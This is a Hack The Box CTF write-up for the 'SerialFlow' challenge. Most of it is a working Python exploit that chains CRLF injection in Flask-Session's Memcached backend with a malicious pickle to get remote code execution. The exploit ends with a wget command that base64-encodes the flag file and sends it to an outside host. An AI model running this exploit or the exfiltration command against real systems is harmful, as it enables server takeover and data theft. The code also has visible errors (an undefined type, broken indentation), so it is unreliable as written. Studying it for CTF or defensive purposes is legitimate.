Skip to main content

HTB - SerialFlow

SerialFlow is the main global network used by KORP, you have managed to reach a root server web interface by traversing KORP's external proxy network. Can you break into the root server and open pandoras box by revealing the truth behind KORP?

import pylibmc, uuid, sys
from flask import Flask, session, request, redirect, render_template
from flask_session import Session

app = Flask(__name__)

app.secret_key = uuid.uuid4()

app.config["SESSION_TYPE"] = "memcached"
app.config["SESSION_MEMCACHED"] = pylibmc.Client(["127.0.0.1:11211"])
app.config.from_object(__name__)

Session(app)

@app.before_request
def before_request():
    if session.get("session") and len(session["session"]) > 86:
        session["session"] = session["session"][:86]


@app.errorhandler(Exception)
def handle_error(error):
    message = error.description if hasattr(error, "description") else [str(x) for x in error.args]

    response = {
        "error": {
            "type": error.__class__.__name__,
            "message": message
        }
    }

    return response, error.code if hasattr(error, "code") else 500


@app.route("/set")
def set():
    uicolor = request.args.get("uicolor")

    if uicolor:
        session["uicolor"] = uicolor
    
    return redirect("/")


@app.route("/")
def main():
    uicolor = session.get("uicolor", "#f1f1f1")
    return render_template("index.html", uicolor=uicolor)
Flask==2.2.2
Flask-Session==0.4.0
pylibmc==1.6.3
Werkzeug==2.2.2

The app explicitly uses Memcached for session storage. After looking for vulnerabilities in the dependencies, we come across an article about CRLF injection in the Flask_Session library leading to RCE

A deliberately vulnerable application is also provided here, with the dependency versions in requirements.txt matching those in the SerialFlow app.

cachelib==0.10.2
click==8.1.3
Flask==2.2.2
Flask-Session==0.4.0
importlib-metadata==6.0.0
itsdangerous==2.1.2
Jinja2==3.1.2
MarkupSafe==2.1.2
pylibmc==1.6.3
Werkzeug==2.2.2
zipp==3.12.0

This was enough information to begin working on an exploit for the SerialFlow application.

Exploit

The following (local) exploit exfiltrates the test flag to 172.17.0.1:8082. This address can be easily replaced to fetch the real flag.

import pickle
import requests


class ExploitRequestsSession(requests.Session):

    def __init__(self, base_url: str, proxies: dict = None) -> None:
        super().__init__()
        self.base_url = base_url.rstrip('/')
        self.proxies = proxies or {}

    def request(self, method, url, **kwargs):
        url = self.base_url + url
        return super().request(method, url, **kwargs)


class Exploit:

    def __init__(self, base_url: str = 'http://localhost:1337') -> None:
        self.requests = ExploitRequestsSession(base_url, {'http': 'http://localhost:8080'})

    @staticmethod
    def pickle_rce(func: any, args: tuple[str]) -> str:
        class RCESession:
            sid = 8
            def __reduce__(self):
                return func, args
        try:
            return pickle.dumps(RCESession(), 0).decode()
        except UnicodeDecodeError:
            raise RuntimeError('Failed to produce pickled object')

    @staticmethod
    def encode_header(data: bytes):
        encoded = ''
        for byte in data:
            digits = str(oct(byte)[2:])
            encoded += '\\' + ('0' * (len(digits)^3)) + digits
        return f'"{encoded}"'


    def construct_payload(self, func: Callable, args: tuple[str], session_id = 'x') -> str:
        serialized_data = self.pickle_rce(func, args)
		if len(serialized_data) > 86:
            raise RuntimeError(f'Final payload too large: {len(serialized_data)} > 86')
        return self.encode_header((
            f'y\r\n'
            f'set session:{session_id} 0 9 {len(serialized_data)}\r\n'
            f'{serialized_data}\r\n'
            f'get session:{session_id}').encode())


    def execute(self, command: str):
        import os
        payload = self.construct_payload(os.system, (command,), 'x')
        try:
            self.requests.get('/', cookies={ 'session': payload })
            self.requests.get('/', cookies={ 'session': 'x' })
        except:
            raise


def main():
    x = Exploit()
    x.execute('wget 172.17.0.1:8082/`base64 -w0 /flag*`')


if __name__ == '__main__':
    main()